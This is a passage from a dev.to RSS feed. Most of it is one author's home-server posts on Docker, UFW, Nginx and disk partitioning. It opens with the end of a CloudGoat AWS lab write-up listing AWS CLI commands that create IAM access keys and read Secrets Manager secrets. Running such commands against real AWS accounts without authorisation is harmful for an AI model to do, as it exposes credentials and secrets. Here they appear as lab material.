aws iam create-access-key &lt;span class="nt"&gt;--user-name&lt;/span&gt; X

&lt;span class="c"&gt;# Secrets Manager&lt;/span&gt;
aws secretsmanager list-secrets
aws secretsmanager get-secret-value &lt;span class="nt"&gt;--secret-id&lt;/span&gt; X
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;You can also read this post on &lt;a href="https://arcade-lab.io/blog/10" rel="noopener noreferrer"&gt;my portfolio page&lt;/a&gt;.&lt;/p&gt;

</description>
      <category>hacking</category>
      <category>writeup</category>
      <category>cloudgoat</category>
      <category>aws</category>
    </item>
    <item>
      <title>🏗️ Building my home server P4: Docker, UFW and Nginx</title>
      <dc:creator>denesbeck</dc:creator>
      <pubDate>Mon, 16 Mar 2026 09:59:16 +0000</pubDate>
      <link>https://dev.to/denesbeck/building-my-home-server-p4-part-4-docker-ufw-and-nginx-2dnl</link>
      <guid>https://dev.to/denesbeck/building-my-home-server-p4-part-4-docker-ufw-and-nginx-2dnl</guid>
      <description>&lt;h1&gt;
  
  
  🏗️ Building my home server: Part 4
&lt;/h1&gt;

&lt;p&gt;&lt;em&gt;Containers, UFW and Nginx&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;In my previous blog post, I discussed volume management. For the next step, I aimed to deploy a few apps and app stacks, such as &lt;a href="https://filebrowser.org/" rel="noopener noreferrer"&gt;File Browser&lt;/a&gt; and &lt;a href="https://transmissionbt.com/" rel="noopener noreferrer"&gt;Transmission&lt;/a&gt;. &lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;File Browser&lt;/strong&gt; is a sleek, out-of-the-box file management interface that allows you to quickly set up a web-based file management system, complete with built-in access controls to secure your files. &lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Transmission&lt;/strong&gt; is a minimalist, lightweight BitTorrent client that I appreciate for its speed, open-source nature, simplicity, and efficient performance. &lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;To make deploying these and other apps quick and easy, I like to run them in containers, which are the go-to method these days for running portable, isolated, and environment-consistent applications. Fortunately, both File Browser and Transmission offer official container images, which made the process even smoother.&lt;/p&gt;

&lt;h2&gt;
  
  
  🐳 Containers
&lt;/h2&gt;

&lt;p&gt;To set up the containers, I followed the official installation guides for both apps:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;a href="https://filebrowser.org/installation.html#docker" rel="noopener noreferrer"&gt;File Browser&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://hub.docker.com/r/linuxserver/transmission" rel="noopener noreferrer"&gt;Transmission&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;These guides provided clear, step-by-step instructions on how to deploy each app using Docker.&lt;/p&gt;

&lt;p&gt;Since each of these apps are single-container apps and don't require multiple services to interact with each other, using the &lt;code&gt;docker run&lt;/code&gt; command instead of &lt;code&gt;docker compose&lt;/code&gt; was a straightforward decision. Additionally, I wanted the flexibility to set variables dynamically, which was another factor that made &lt;code&gt;docker run&lt;/code&gt; the better choice for this setup.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# File Browser&lt;/span&gt;
docker run &lt;span class="se"&gt;\&lt;/span&gt;
    &lt;span class="nt"&gt;-v&lt;/span&gt; /path/to/srv:/srv &lt;span class="se"&gt;\&lt;/span&gt;
    &lt;span class="nt"&gt;-v&lt;/span&gt; /path/to/database:/database &lt;span class="se"&gt;\&lt;/span&gt;
    &lt;span class="nt"&gt;-v&lt;/span&gt; /path/to/config:/config &lt;span class="se"&gt;\&lt;/span&gt;
    &lt;span class="nt"&gt;-e&lt;/span&gt; &lt;span class="nv"&gt;PUID&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="si"&gt;$(&lt;/span&gt;&lt;span class="nb"&gt;id&lt;/span&gt; &lt;span class="nt"&gt;-u&lt;/span&gt;&lt;span class="si"&gt;)&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
    &lt;span class="nt"&gt;-e&lt;/span&gt; &lt;span class="nv"&gt;PGID&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="si"&gt;$(&lt;/span&gt;&lt;span class="nb"&gt;id&lt;/span&gt; &lt;span class="nt"&gt;-g&lt;/span&gt;&lt;span class="si"&gt;)&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
    &lt;span class="nt"&gt;-p&lt;/span&gt; 8080:80 &lt;span class="se"&gt;\&lt;/span&gt;
    filebrowser/filebrowser:s6
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Transmission&lt;/span&gt;
docker run &lt;span class="nt"&gt;-d&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--name&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;transmission &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-e&lt;/span&gt; &lt;span class="nv"&gt;PUID&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;1000 &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-e&lt;/span&gt; &lt;span class="nv"&gt;PGID&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;1000 &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-e&lt;/span&gt; &lt;span class="nv"&gt;TZ&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;Etc/UTC &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-e&lt;/span&gt; &lt;span class="nv"&gt;TRANSMISSION_WEB_HOME&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sb"&gt;`&lt;/span&gt;&lt;span class="c"&gt;#optional` \&lt;/span&gt;
  &lt;span class="nt"&gt;-e&lt;/span&gt; &lt;span class="nv"&gt;USER&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sb"&gt;`&lt;/span&gt;&lt;span class="c"&gt;#optional` \&lt;/span&gt;
  &lt;span class="nt"&gt;-e&lt;/span&gt; &lt;span class="nv"&gt;PASS&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sb"&gt;`&lt;/span&gt;&lt;span class="c"&gt;#optional` \&lt;/span&gt;
  &lt;span class="nt"&gt;-e&lt;/span&gt; &lt;span class="nv"&gt;WHITELIST&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sb"&gt;`&lt;/span&gt;&lt;span class="c"&gt;#optional` \&lt;/span&gt;
  &lt;span class="nt"&gt;-e&lt;/span&gt; &lt;span class="nv"&gt;PEERPORT&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sb"&gt;`&lt;/span&gt;&lt;span class="c"&gt;#optional` \&lt;/span&gt;
  &lt;span class="nt"&gt;-e&lt;/span&gt; &lt;span class="nv"&gt;HOST_WHITELIST&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sb"&gt;`&lt;/span&gt;&lt;span class="c"&gt;#optional` \&lt;/span&gt;
  &lt;span class="nt"&gt;-p&lt;/span&gt; 9091:9091 &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-p&lt;/span&gt; 51413:51413 &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-p&lt;/span&gt; 51413:51413/udp &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-v&lt;/span&gt; /path/to/transmission/data:/config &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-v&lt;/span&gt; /path/to/downloads:/downloads &lt;span class="sb"&gt;`&lt;/span&gt;&lt;span class="c"&gt;#optional` \&lt;/span&gt;
  &lt;span class="nt"&gt;-v&lt;/span&gt; /path/to/watch/folder:/watch &lt;span class="sb"&gt;`&lt;/span&gt;&lt;span class="c"&gt;#optional` \&lt;/span&gt;
  &lt;span class="nt"&gt;--restart&lt;/span&gt; unless-stopped &lt;span class="se"&gt;\&lt;/span&gt;
  lscr.io/linuxserver/transmission:latest
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  🛡️ UFW
&lt;/h2&gt;

&lt;p&gt;To secure my containers, I used &lt;a href="https://help.ubuntu.com/community/UFW" rel="noopener noreferrer"&gt;UFW (Uncomplicated Firewall)&lt;/a&gt; and exposed only the necessary ports. For File Browser, I opened port &lt;code&gt;8080&lt;/code&gt; for the UI, and for Transmission, I opened port &lt;code&gt;9091&lt;/code&gt; for the web interface.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Turn UFW on with the default set of rules&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;ufw &lt;span class="nb"&gt;enable&lt;/span&gt;

&lt;span class="c"&gt;# Check the status of UFW&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;ufw status verbose

&lt;span class="c"&gt;# Deny all incoming traffic&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;ufw default deny incoming

&lt;span class="c"&gt;# Allow incoming tcp traffic on port 8080&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;ufw allow 8080/tcp

&lt;span class="c"&gt;# Allow incoming tcp traffic on port 9091&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;ufw allow 9091/tcp
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This way, I limited the exposure of the containers to only the essential services, reducing potential security risks. At least, that's what I thought...&lt;/p&gt;

&lt;p&gt;It turned out that, despite not allowing traffic to port &lt;code&gt;8080&lt;/code&gt; via UFW initially, I was still able to access the File Browser web UI over my local network.&lt;/p&gt;

&lt;h3&gt;
  
  
  🤔 But... why?
&lt;/h3&gt;

&lt;ol&gt;
&lt;li&gt;&lt;p&gt;Docker binds exposed ports to &lt;code&gt;0.0.0.0&lt;/code&gt; by default, making services accessible from both local and external networks.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Docker uses &lt;code&gt;iptables&lt;/code&gt; (Linux's firewall management tool) to configure network routing. When you run containers and expose ports, Docker automatically adds &lt;code&gt;iptables&lt;/code&gt; rules to manage traffic. These rules are added directly to the system's networking stack and can override UFW's settings in some cases.&lt;/p&gt;

&lt;p&gt;For example, Docker might automatically add rules like:&lt;br&gt;
&lt;/p&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;ACCEPT     tcp  &lt;span class="nt"&gt;--&lt;/span&gt;  anywhere             anywhere             tcp dpt:8080

&lt;/code&gt;&lt;/pre&gt;

&lt;/li&gt;
&lt;li&gt;&lt;p&gt;UFW is essentially a frontend for &lt;code&gt;iptables&lt;/code&gt;. If Docker's rules are inserted after UFW's (which is often the case), Docker's &lt;code&gt;iptables&lt;/code&gt; rules will take precedence, allowing traffic that would otherwise be blocked by UFW. This can lead to situations where Docker containers are accessible even though UFW rules have been set to block traffic.&lt;/p&gt;&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;That was a bit of a security surprise! 👻  &lt;/p&gt;

&lt;h3&gt;
  
  
  🔧 Fixing the issue
&lt;/h3&gt;

&lt;p&gt;To resolve this issue, I first needed to ensure that Docker wouldn't expose ports to &lt;code&gt;0.0.0.0&lt;/code&gt; by default. To do this, I had to adjust the &lt;code&gt;docker run&lt;/code&gt; commands slightly:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;-p 8080:80 -&amp;gt; -p 127.0.0.1:8080:8080

-p 9091:9091 -&amp;gt; -p 127.0.0.1:9091:9091
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;By adding &lt;code&gt;127.0.0.1&lt;/code&gt; to the exposed ports, I ensured that the services would only be accessible from the local network. Now that my containers were safe by default, I still had to make sure that I expose these ports to the local network. To achieve this I decided to use Nginx reverse-proxy.&lt;/p&gt;

&lt;h2&gt;
  
  
  🚦 Nginx
&lt;/h2&gt;

&lt;p&gt;To install Nginx, I followed these steps (sourced from &lt;a href="https://pimylifeup.com/raspberry-pi-bitwarden/#nginxproxy" rel="noopener noreferrer"&gt;here&lt;/a&gt;):&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;Update and upgrade the system:&lt;br&gt;
&lt;/p&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;sudo &lt;/span&gt;apt update
&lt;span class="nb"&gt;sudo &lt;/span&gt;apt upgrade
&lt;/code&gt;&lt;/pre&gt;

&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Install Nginx:&lt;br&gt;
&lt;/p&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;sudo &lt;/span&gt;apt &lt;span class="nb"&gt;install &lt;/span&gt;nginx
&lt;/code&gt;&lt;/pre&gt;

&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Start Nginx:&lt;br&gt;
&lt;/p&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;sudo &lt;/span&gt;systemctl start nginx
&lt;/code&gt;&lt;/pre&gt;

&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Enable Nginx to start on boot:&lt;br&gt;
&lt;/p&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;sudo &lt;/span&gt;systemctl &lt;span class="nb"&gt;enable &lt;/span&gt;nginx
&lt;/code&gt;&lt;/pre&gt;

&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Generate a self-signed SSL certificate:&lt;br&gt;
&lt;/p&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;sudo &lt;/span&gt;openssl req &lt;span class="nt"&gt;-x509&lt;/span&gt; &lt;span class="nt"&gt;-nodes&lt;/span&gt; &lt;span class="nt"&gt;-days&lt;/span&gt; 365 &lt;span class="nt"&gt;-newkey&lt;/span&gt; rsa:4096 &lt;span class="nt"&gt;-keyout&lt;/span&gt; /etc/ssl/private/nginx-docker.key &lt;span class="nt"&gt;-out&lt;/span&gt; /etc/ssl/certs/nginx-docker.crt
&lt;/code&gt;&lt;/pre&gt;

&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Set proper permission for the certificate:&lt;br&gt;
&lt;/p&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;sudo chmod &lt;/span&gt;600 /etc/ssl/private/nginx-docker.key
&lt;/code&gt;&lt;/pre&gt;

&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Create a Diffie-Hellman group to improve security:\&lt;br&gt;
&lt;strong&gt;&lt;a href="https://en.wikipedia.org/wiki/Diffie%E2%80%93Hellman_key_exchange" rel="noopener noreferrer"&gt;Learn more about Diffie-Hellman key exchange.&lt;/a&gt;&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;openssl dhparam &lt;span class="nt"&gt;-out&lt;/span&gt; /etc/ssl/certs/dhparam.pem 2048
&lt;/code&gt;&lt;/pre&gt;

&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Set proper permissions for the Diffie-Hellman group:&lt;br&gt;
&lt;/p&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;sudo chmod &lt;/span&gt;600 /etc/ssl/certs/dhparam.pem
&lt;/code&gt;&lt;/pre&gt;

&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Remove the default Nginx configuration:&lt;br&gt;
&lt;/p&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;sudo rm&lt;/span&gt; /etc/nginx/sites-enabled/default
&lt;/code&gt;&lt;/pre&gt;

&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Create a new Nginx configuration file:&lt;br&gt;
&lt;/p&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;sudo &lt;/span&gt;vi /etc/nginx/sites-enabled/docker.conf
&lt;/code&gt;&lt;/pre&gt;


&lt;p&gt;Add the following configuration to the file:&lt;br&gt;
&lt;/p&gt;
&lt;pre class="highlight nginx"&gt;&lt;code&gt;&lt;span class="k"&gt;server&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="kn"&gt;listen&lt;/span&gt; &lt;span class="mi"&gt;80&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="kn"&gt;listen&lt;/span&gt; &lt;span class="s"&gt;[::]:80&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="kn"&gt;server_name&lt;/span&gt; &lt;span class="s"&gt;_&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="kn"&gt;return&lt;/span&gt; &lt;span class="mi"&gt;301&lt;/span&gt; &lt;span class="s"&gt;https://&lt;/span&gt;&lt;span class="nv"&gt;$host$request_uri&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="k"&gt;server&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="kn"&gt;listen&lt;/span&gt; &lt;span class="mi"&gt;443&lt;/span&gt; &lt;span class="s"&gt;ssl&lt;/span&gt; &lt;span class="s"&gt;http2&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
  &lt;span class="kn"&gt;server_name&lt;/span&gt; &lt;span class="s"&gt;transmission.*&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

  &lt;span class="kn"&gt;ssl_certificate&lt;/span&gt;      &lt;span class="n"&gt;/etc/ssl/certs/nginx-docker.crt&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;   &lt;span class="c1"&gt;#Swap these out with Lets Encrypt Path if using signed cert&lt;/span&gt;
  &lt;span class="kn"&gt;ssl_certificate_key&lt;/span&gt;  &lt;span class="n"&gt;/etc/ssl/private/nginx-docker.key&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="c1"&gt;#Swap these out with Lets Encrypt Path if using signed cert&lt;/span&gt;

  &lt;span class="kn"&gt;ssl_dhparam&lt;/span&gt; &lt;span class="n"&gt;/etc/ssl/certs/dhparam.pem&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

  &lt;span class="kn"&gt;client_max_body_size&lt;/span&gt; &lt;span class="mi"&gt;128M&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

  &lt;span class="kn"&gt;location&lt;/span&gt; &lt;span class="n"&gt;/&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="kn"&gt;proxy_pass&lt;/span&gt; &lt;span class="s"&gt;http://127.0.0.1:9091&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="kn"&gt;proxy_set_header&lt;/span&gt; &lt;span class="s"&gt;Host&lt;/span&gt; &lt;span class="nv"&gt;$host&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="kn"&gt;proxy_set_header&lt;/span&gt; &lt;span class="s"&gt;X-Real-IP&lt;/span&gt; &lt;span class="nv"&gt;$remote_addr&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="kn"&gt;proxy_set_header&lt;/span&gt; &lt;span class="s"&gt;X-Forwarded-For&lt;/span&gt; &lt;span class="nv"&gt;$proxy_add_x_forwarded_for&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="kn"&gt;proxy_set_header&lt;/span&gt; &lt;span class="s"&gt;X-Forwarded-Proto&lt;/span&gt; &lt;span class="nv"&gt;$scheme&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="k"&gt;server&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="kn"&gt;listen&lt;/span&gt; &lt;span class="mi"&gt;443&lt;/span&gt; &lt;span class="s"&gt;ssl&lt;/span&gt; &lt;span class="s"&gt;http2&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
  &lt;span class="kn"&gt;server_name&lt;/span&gt; &lt;span class="s"&gt;filebrowser.*&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

  &lt;span class="kn"&gt;ssl_certificate&lt;/span&gt;      &lt;span class="n"&gt;/etc/ssl/certs/nginx-docker.crt&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;   &lt;span class="c1"&gt;#Swap these out with Lets Encrypt Path if using signed cert&lt;/span&gt;
  &lt;span class="kn"&gt;ssl_certificate_key&lt;/span&gt;  &lt;span class="n"&gt;/etc/ssl/private/nginx-docker.key&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="c1"&gt;#Swap these out with Lets Encrypt Path if using signed cert&lt;/span&gt;

  &lt;span class="kn"&gt;ssl_dhparam&lt;/span&gt; &lt;span class="n"&gt;/etc/ssl/certs/dhparam.pem&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

  &lt;span class="kn"&gt;client_max_body_size&lt;/span&gt; &lt;span class="mi"&gt;128M&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

  &lt;span class="kn"&gt;location&lt;/span&gt; &lt;span class="n"&gt;/&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="kn"&gt;proxy_pass&lt;/span&gt; &lt;span class="s"&gt;http://127.0.0.1:8080&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="kn"&gt;proxy_set_header&lt;/span&gt; &lt;span class="s"&gt;Host&lt;/span&gt; &lt;span class="nv"&gt;$host&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="kn"&gt;proxy_set_header&lt;/span&gt; &lt;span class="s"&gt;X-Real-IP&lt;/span&gt; &lt;span class="nv"&gt;$remote_addr&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="kn"&gt;proxy_set_header&lt;/span&gt; &lt;span class="s"&gt;X-Forwarded-For&lt;/span&gt; &lt;span class="nv"&gt;$proxy_add_x_forwarded_for&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="kn"&gt;proxy_set_header&lt;/span&gt; &lt;span class="s"&gt;X-Forwarded-Proto&lt;/span&gt; &lt;span class="nv"&gt;$scheme&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Restart Nginx:&lt;br&gt;
&lt;/p&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;sudo &lt;/span&gt;systemctl restart nginx
&lt;/code&gt;&lt;/pre&gt;

&lt;/li&gt;
&lt;/ol&gt;

&lt;h3&gt;
  
  
  Adjust UFW
&lt;/h3&gt;

&lt;p&gt;As a final step, I disabled access to ports &lt;code&gt;8080&lt;/code&gt; and &lt;code&gt;9091&lt;/code&gt; via UFW, then allowed full access for Nginx with the following command:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;```bash
sudo ufw allow 'Nginx Full'
```
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Outcome
&lt;/h3&gt;

&lt;p&gt;With this setup, I can now access both apps on my local network at:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;a href="https://transmission.mydomain.com" rel="noopener noreferrer"&gt;https://transmission.mydomain.com&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://filebrowser.mydomain.com" rel="noopener noreferrer"&gt;https://filebrowser.mydomain.com&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Since &lt;code&gt;mydomain.com&lt;/code&gt; is mapped in the &lt;code&gt;/etc/hosts&lt;/code&gt; file (or DNS resolution for local network), the subdomains resolve correctly. I can be confident that only the services proxied via Nginx are accessible within my network.&lt;/p&gt;

&lt;p&gt;Noice! 🎉&lt;/p&gt;

&lt;p&gt;You can also read this post on &lt;a href="https://arcade-lab.io/blog/7" rel="noopener noreferrer"&gt;my portfolio page&lt;/a&gt;.&lt;/p&gt;

</description>
      <category>linux</category>
      <category>ubuntu</category>
      <category>docker</category>
      <category>ufw</category>
    </item>
    <item>
      <title>🏗️ Building my home server P3: Volumes and backup</title>
      <dc:creator>denesbeck</dc:creator>
      <pubDate>Mon, 16 Mar 2026 09:54:12 +0000</pubDate>
      <link>https://dev.to/denesbeck/building-my-home-server-p3-part-3-volumes-and-backup-m3p</link>
      <guid>https://dev.to/denesbeck/building-my-home-server-p3-part-3-volumes-and-backup-m3p</guid>
      <description>&lt;h1&gt;
  
  
  🏗️ Building my home server: Part 3
&lt;/h1&gt;

&lt;p&gt;&lt;em&gt;Volumes and backup&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;In my previous post, I discussed setting up my SMB server using the Samba library. In this post, I'll be focusing on managing volumes in Linux. Although I've worked with volumes in Linux environments before, setting everything up from scratch was a valuable experience that helped refresh my knowledge. I already had several hard drives containing movies, documents, and photos. Some of these needed to be migrated to another drive, while others had to be moved to a new partition I created on an existing drive. During the process of moving files, I quickly realized the importance of backups, which led me to implement an automated backup solution for my most important data. In this blog post, I'll share my approach and the lessons I learned along the way.&lt;/p&gt;

&lt;h2&gt;
  
  
  ✏️ Planning
&lt;/h2&gt;

&lt;p&gt;Originally, all my movies and photos were stored on a 1TB HDD, while my documents were kept on a flash drive. I also recently bought a brand-new 5TB HDD. My plan was to repartition the 1TB HDD: I intended to allocate 100GB for my documents (which were currently on the flash drive), while the rest of the drive would be dedicated to my photos. I planned to move all the movies from the 1TB HDD to the 5TB drive. During this process, I realized it would be useful to create a backup partition on the 5TB disk, allowing me to back up my photos daily and maintain a maximum of three backups at any given time.&lt;/p&gt;

&lt;p&gt;Here's the task list I put together:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Partition and then format the new 5TB disk: Allocate 100GB for photo backups and the remaining space for movies.&lt;/li&gt;
&lt;li&gt;Backup the photo data.&lt;/li&gt;
&lt;li&gt;Repair the file system on the 1TB disk.&lt;/li&gt;
&lt;li&gt;Copy the movies from the 1TB disk to the 5TB disk permanently.&lt;/li&gt;
&lt;li&gt;Temporarily copy the photos from the 1TB disk to the 5TB disk. This was necessary as I needed to format the 1TB disk, which was using the NTFS file system. I planned to change it to ext4.&lt;/li&gt;
&lt;li&gt;Partition and format the 1TB disk: Allocate 100GB for documents, with the remaining space dedicated to photos.&lt;/li&gt;
&lt;li&gt;Copy the photos from the 5TB disk back to the 1TB disk. Move them to the appropriate partition.&lt;/li&gt;
&lt;li&gt;Backup the documents.&lt;/li&gt;
&lt;li&gt;Repair the file system on the flash drive.&lt;/li&gt;
&lt;li&gt;Copy the documents from the flash drive to the 1TB disk. Place them in the correct partition. Remove the backup.&lt;/li&gt;
&lt;li&gt;Set up an automated backup job for photos. Ensure regular backups are done for the photos on the 1TB disk. Target the 100GB partition on the 5TB drive.&lt;/li&gt;
&lt;/ol&gt;

&lt;h2&gt;
  
  
  🚀 Execution
&lt;/h2&gt;

&lt;p&gt;To execute my plan, I utilized several Linux tools:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;lsblk&lt;/code&gt; to display my block devices&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;fdisk&lt;/code&gt; for partitioning&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;rsync&lt;/code&gt; for file backup&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;fsck&lt;/code&gt; to fix any file system issues&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;mkfs&lt;/code&gt; to format the file system&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  Partitioning and Formatting
&lt;/h3&gt;

&lt;p&gt;First, I had to partition and format my new 5TB drive. For partitioning, I used the &lt;code&gt;fdisk&lt;/code&gt; tool.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Unmount target disk&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;umount /dev/target_disk

&lt;span class="c"&gt;# If the disk has multiple partitions, unmount them all&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;umount /dev/target_disk&lt;span class="k"&gt;*&lt;/span&gt;

&lt;span class="c"&gt;# Start fdisk&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;fdisk /dev/target_disk
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This opened an interactive prompt where I could create, delete, and modify partitions. Below are the commands I use most frequently, but generally, I just followed the prompt's instructions.&lt;/p&gt;

&lt;ul&gt;
